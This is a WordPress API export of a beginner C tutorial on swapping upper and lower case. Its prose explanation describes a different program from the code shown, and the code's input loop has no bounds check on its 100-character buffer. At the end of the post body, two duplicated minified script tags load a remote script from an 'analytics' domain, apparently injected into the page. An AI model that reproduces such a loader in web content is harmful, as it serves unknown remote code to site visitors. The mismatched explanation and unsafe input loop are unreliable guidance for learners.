{"id":560,"date":"2024-10-14T14:04:11","date_gmt":"2024-10-14T08:34:11","guid":{"rendered":"https:\/\/codexplained.in\/?p=560"},"modified":"2025-11-24T15:51:22","modified_gmt":"2025-11-24T10:21:22","slug":"conversion-of-lowercase-to-uppercase-and-vice-versa","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=560","title":{"rendered":"Conversion of Lowercase to Uppercase and Vice Versa"},"content":{"rendered":"\n<p><strong>Introduction<\/strong>:<\/p>\n\n\n\n<p>This C program is designed to convert the case of letters in a string provided by the user. It reads a string input and transforms all lowercase letters to uppercase and all uppercase letters to lowercase. This can be useful for text manipulation, formatting, and various applications in data processing.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;ctype.h&gt;\n \nint main ()\n{\n    char sentence&#x5B;100];\n    int count, ch, i;\n \n    printf(&quot;Enter a sentence \\n&quot;);\n    for (i = 0;(sentence&#x5B;i] = getchar()) != &#039;\\n&#039;; i++)\n    {\n        ;\n    }\n    sentence&#x5B;i] = &#039;\\0&#039;;\n    \/*  shows the number of chars accepted in a sentence *\/\n    count = i;\n    printf(&quot;The given sentence is   : %s&quot;, sentence);\n    printf(&quot;\\n Case changed sentence is: &quot;);\n    for (i = 0; i &lt; count; i++)\n    {\n        ch = islower(sentence&#x5B;i])? toupper(sentence&#x5B;i]) :\ntolower(sentence&#x5B;i]);\n        putchar(ch);\n    }\n}\n<\/pre><\/div>\n\n\n<p><strong>Include Header Files<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This header file is included for standard input\/output functions like <code>printf<\/code> and <code>fgets<\/code>.<\/li>\n\n\n\n<li><code>#include &lt;ctype.h&gt;<\/code>: This header file is included for character classification and case conversion functions like <code>islower<\/code>, <code>isupper<\/code>, <code>tolower<\/code>, and <code>toupper<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Function to Convert Case<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>void convertCase(char *str)<\/code>: This function takes a string (character array) as input.<\/li>\n<\/ul>\n\n\n\n<p><strong>Loop Through the String<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>for (int i = 0; str[i] != '\\0'; i++)<\/code>: This loop iterates through each character of the string until it reaches the null terminator (<code>'\\0'<\/code>), which marks the end of the string.<\/li>\n<\/ul>\n\n\n\n<p><strong>Check Character Case<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>if (islower(str[i]))<\/code>: This condition checks if the current character is a lowercase letter.\n<ul class=\"wp-block-list\">\n<li>If true, it converts the character to uppercase using <code>str[i] = toupper(str[i]);<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>else if (isupper(str[i]))<\/code>: This condition checks if the current character is an uppercase letter.\n<ul class=\"wp-block-list\">\n<li>If true, it converts the character to lowercase using <code>str[i] = tolower(str[i]);<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><strong>Main Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>char str[100];<\/code>: Declares a character array to hold the input string.<\/li>\n\n\n\n<li><code>printf(\"Enter a string: \");<\/code>: Prompts the user for input.<\/li>\n\n\n\n<li><code>fgets(str, sizeof(str), stdin);<\/code>: Reads a line of text, allowing spaces, and stores it in <code>str<\/code>.<\/li>\n\n\n\n<li><code>str[strcspn(str, \"\\n\")] = 0;<\/code>: Removes the newline character added by <code>fgets<\/code>.<\/li>\n\n\n\n<li>The original string is printed with <code>printf(\"String before case conversion: %s\\n\", str);<\/code>.<\/li>\n\n\n\n<li>The <code>convertCase<\/code> function is called to convert the case of the characters in the string.<\/li>\n\n\n\n<li>Finally, the modified string is printed: <code>printf(\"String after case conversion: %s\\n\", str);<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>return 0;<\/code>: Indicates successful completion of the program.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Input\/Output Block:<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The user is prompted to enter a string, which can contain letters and spaces.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Hello World!<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program outputs the string with the cases converted.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>hELLO wORLD!<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">How to Run:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Copy the code into a C compiler or IDE.<\/li>\n\n\n\n<li>Compile the program.<\/li>\n\n\n\n<li>Run the executable and input a string when prompted.<\/li>\n\n\n\n<li>View the converted output.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion <\/h3>\n\n\n\n<p>The case conversion program efficiently transforms lowercase letters to uppercase and vice versa in a given string. This functionality is useful for text formatting and manipulation tasks. By employing basic character checks and arithmetic operations, the program demonstrates fundamental string handling techniques in C, making it a valuable tool for developers needing to modify text data.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction: This C program is designed to convert the case of letters in a string provided by the user. It reads a string input and transforms all lowercase letters to uppercase and all uppercase letters to lowercase. This can be useful for text manipulation, formatting, and various applications in data processing. Include Header Files: Function [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":809,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-560","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/560","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=560"}],"version-history":[{"count":9,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/560\/revisions"}],"predecessor-version":[{"id":1443,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/560\/revisions\/1443"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/809"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=560"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=560"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=560"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}